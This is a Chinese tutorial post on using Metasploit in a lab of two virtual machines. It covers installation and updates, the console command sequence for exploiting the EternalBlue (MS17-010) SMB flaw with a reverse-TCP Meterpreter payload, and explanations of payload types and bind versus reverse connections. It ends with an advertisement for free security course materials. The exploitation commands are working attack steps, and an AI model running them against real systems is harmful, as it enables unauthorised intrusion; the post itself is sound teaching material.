
一、实验环境:
靶 机: windows10虚拟机:
192.168.100.158攻击机: kali虚拟机:
192.168.100.132
二、简介:
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
三、Metasploit的安装和更新升级:
1. 一键安装MSF:
在一般的 linux 中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
所需命令:
#一键安装MSF:curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstalladdusermsf#添加msf用户sumsf#切换到msf用户cd/opt/metasploit-framework/bin#切换到msf所在的目录 ./msfconsole#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库 #也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:ln-s/opt/metasploit-framework/bin/msfconsole/usr/bin/msfconsole#备注:#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。 # 非kali环境下更新升级MSF:msfupdate# MSF后期的升级# kali环境下更新升级MSF:aptupdate# 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)aptupgrade# 更新已安装的软件包,不删除旧包;aptfull-upgrade# 升级包,删除旧包
2. MSF的更新升级:
2.1 非kali环境下更新升级MSF:
命令:
msfupdate#MSF后期更新升级
2.2 kali环境下更新升级MSF:
由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不支持使用
msfupdate命令更新,更新的话需要随系统程序更新。
使用msfupdate命令会出现下面的情况:
┌──(root💀kali)-[~/桌面]└─# msfupdatemsfupdateisnolongersupportedwhenMetasploitispartoftheoperatingsystem. Pleaseuse'apt update; apt install metasploit-framework'

在kali中更新MSF使用以下命令:
aptupdate# 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)aptupgrade# 更新已安装的软件包,不删除旧包;aptfull-upgrade# 升级包,删除旧包
使用上面命令,是在更新系统程序的同时,把MSF更新。
四、使用方法:
1. 基础使用:
msfconsole#进入框架searchms17_010# 使用search命令查找相关漏洞useexploit/windows/smb/ms17_010_eternalblue# 使用use进入模块info#使用info查看模块信息setpayloadwindows/x64/meterpreter/reverse_tcp#设置攻击载荷showoptions#查看模块需要配置的参数setRHOST192.168.100.158#设置参数exploit/run#攻击后渗透阶段#后渗透阶段
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。我们也可以将攻击代码写入configure.rc(只要是以.rc结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc进行自动攻击!
2. MSF 中加载自定义的 exploit模块 :
点击进入参考文章:CVE-2019-0708 远程桌面漏洞复现 ,该文中介绍了如果加载自定义的exploit模块并且成功攻击。
3. 漏洞利用(exploit):
漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
/usr/share/metasploit-framework/modules/exploits
进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用:

进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

4. 攻击载荷(payload):
Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
4.1 payload模块路径::
/usr/share/metasploit-framework/modules/payloads
4.2 Metasploit中的 Payload 模块主要有以下三种类型:
Single: 是一种完全独立的Payload,而且使用起来像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。
Stager: 这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。
Stage: 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
#Single Payload的格式为:<target>/<single>如:windows/powershell_bind_tcp#Stager/Stage Payload的格式为:<target>/<stage>/<stager>如:windows/meterpreter/reverse_tcp
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
注:在这个列表中,像
windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。而windows/meterpreter/reverse_tcp则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。 Stager中几种常见的payload:
windows/meterpreter/bind_tcp#正向连接windows/meterpreter/reverse_tcp#反向连接,常用windows/meterpreter/reverse_http#通过监听80端口反向连接windows/meterpreter/reverse_https#通过监听443端口反向连接
正向连接使用场景: 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。反向连接使用场景: 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。反向连接80和443端口使用场景: 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
5. Meterpreter:
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
5.1 Meterpreter是如何工作的?:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
5.2 Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘。Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。默认情况下,
Meterpreter的通信是加密的,所以很安全。扩展性,许多新的特征模块可以被加载。 我们在设置
payloads时,可以将payloads设置为:windows/meterpreter/reverse_tcp,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下一篇的后渗透阶段都有讲!


作为一个网络安全初学者,大家在学习过程中难免会遇到各种各样的问题,比如:
对安全技术感兴趣,想自学但不知道从哪一块入手;
大学选的信安或网安专业,不知道如何利用假期给自己充电;
即将参加CTF比赛,不知道如何在比赛中取得好成绩;
校招面试就要开始了,不知道如何拿到满意的offer;
想挖企业SRC赚钱,但一直挖不到该怎么办;
想参加护网赚钱,但苦于没有学习方向和面试机会;
想转行从事网络安全的工作,不知道需要掌握哪些技术点;
如果你也有上面这些问题,那一定一定不能错过我整理的这套网络安全零基础资源包,资源包里的内容包含:
网络安全/信息安全零基础学习路线图
150节网络安全攻防技术视频教程
200+网络安全/信息安全pdf书籍
30+护网红蓝对抗技术文档
6000+SRC漏洞挖掘文档
100+CTF夺旗赛必备工具包
历年CTF夺旗赛真题解析
50份安全攻防面试真题及答案
20份安全工程师简历模版
不收费
不收费
不收费
重要的事情说三遍,我整理的这套资源包不收费!

全套网络安全/信息安全学习资源包
扫描下方二维码免费领取

方向不对,努力白费!对于刚接触网络安全的同学,我帮大家准备了详细的零基础学习路线图。
经过几千位同学的反馈,这套路线图可以说是最科学、最系统的学习路线,大家跟着这个大的方向学习准没问题。

考虑到很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,内容从计算机网络、HTML、MySQL数据库等基础知识点开始讲解,内容由浅入深、循序渐进,确保每一位同学都听得懂、学得会、用得上。

除了看视频学习,我们也能通过书籍文档快速上手掌握某个具体的技术,这也是我现在学习新知识最常用的方式。


受限于篇幅的原因,剩下的内容就不在这里一一展示了,大家如果需要的话,可以扫描下方二维码领取!(不收费、不收费、不收费)
全套网络安全/信息安全学习资源包
扫描下方二维码立即领取

夜雨聆风